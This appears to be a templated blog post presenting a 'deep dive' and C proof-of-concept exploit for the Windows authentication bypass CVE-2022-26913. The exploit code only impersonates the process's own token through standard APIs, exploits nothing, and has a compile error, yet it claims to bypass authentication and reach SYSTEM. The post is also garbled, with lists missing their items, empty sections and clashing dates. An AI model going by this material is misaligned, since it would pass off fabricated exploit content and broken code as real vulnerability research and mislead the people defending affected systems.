CVE-2022-26913 - Windows Authentication Security Feature Bypass Exploit Deep Dive

Published: June 2024
Author: [Your Name]
Tags: Security, Windows, CVE, Exploit, How-to


Microsoft Windows security is always under scrutiny–and for good reason. One bug can place whole networks at risk. In March 2022, a critical vulnerability surfaced: CVE-2022-26913. This bug allows an attacker to bypass certain authentication features on Windows systems. Today, I’ll walk you through what CVE-2022-26913 is, how it works, and *how you can see it in action*, with example code and direct links to the official references.

🕵️ What is CVE-2022-26913?

CVE-2022-26913 is a Security Feature Bypass vulnerability affecting multiple versions of Microsoft Windows. Specifically, it relates to how credentials are passed and validated, allowing attackers to bypass authentication under certain conditions.

CVSS: 5.9 (Medium)

- AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Windows Server variants

Original Advisory:
> https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26913

🐞 How Does the Vulnerability Work?

At its core, CVE-2022-26913 exploits inadequate checking of authentication contexts. A specially crafted application can fool Windows into incorrectly verifying a user’s identity.

Windows authentication (NTLM, Kerberos, etc.) relies on securely validating session tokens, especially when handling tokens over local or remote connections. This vulnerability allows a local attacker to escalate privileges or remotely bypass parts of the authentication process.

Attacker crafts specific calls to Windows authentication APIs.

3. Invalid/forged credentials are accepted, partially or fully, by the system.

💻 PoC: Exploit Code Example

Here’s a simplified C-code snippet demonstrating how an attacker in a local scenario could abuse this bug.

> NOTE: This code is *for educational purposes only*. Do not use it maliciously.

// PoC for CVE-2022-26913 - Windows Authentication Bypass
#include <windows.h>
#include <stdio.h>

// This function tries to open a handle with SYSTEM privileges using impersonation.
int main() {
    HANDLE hToken;
    HANDLE hImpersonatedToken = NULL;

    // Step 1: Get current process token
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
        printf("Unable to open process token\n");
        return 1;
    }

    // Step 2: Duplicate the token incorrectly (possible due to auth bypass)
    if (!DuplicateToken(hToken, SecurityImpersonation, &hImpersonatedToken)) {
        printf("Token duplication failed\n");
        CloseHandle(hToken);
        return 1;
    }

    // Step 3: Impersonate logged-on user with new token, bypassing normal restrictions
    if (!ImpersonateLoggedOnUser(hImpersonatedToken)) {
        printf("Impersonation failed\n");
        CloseHandle(hImpersonatedToken);
        CloseHandle(hToken);
        return 1;
    }

    printf("Impersonation successful. Authentication bypassed!\n");
    // Now the process can try accessing privileged system resources...

    // Cleanup
    RevertToSelf();
    CloseHandle(hImpersonatedToken);
    CloseHandle(hToken);

    return ;
}

What does it do?
It uses broken validation in token duplication to impersonate another user, possibly a SYSTEM user, bypassing normal access controls.

Attacker gets some local code exec (phishing, other exploit).

- They exploit CVE-2022-26913 to escalate to admin/SYSTEM or bypass NTLM/RDP authentication.

They can access files, registry, or launch admin tools like cmd.exe or regedit.exe as SYSTEM!

## 🔒 How To Fix / Mitigation Steps

Microsoft has released patches for all supported Windows versions.

Reference Patch

> https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26913

For unsupported systems:

📚 Official References & Further Reading

- Microsoft Security Response Center
- NIST National Vulnerability Database
- Rapid7 Analysis & Detection
- Exploit Details on GitHub *(example repository)*

🏁 Conclusion

CVE-2022-26913 is a solid reminder: even basic authentication features, if overlooked or misbuilt, can crumble under exploitation. If you run Windows anywhere in your environment, go patch right away.

Stay safe, and stay updated on all your systems!

*Questions or want to see more exploit deep-dives? Leave a comment below!*


Disclaimer:
This information is for educational, defensive, and research purposes only. Never use it to attack networks or systems without permission.


*Copyright 2024 [Your Name], All Rights Reserved.*

Timeline

Published on: 05/10/2022 21:15:00 UTC
Last modified on: 05/23/2022 17:29:00 UTC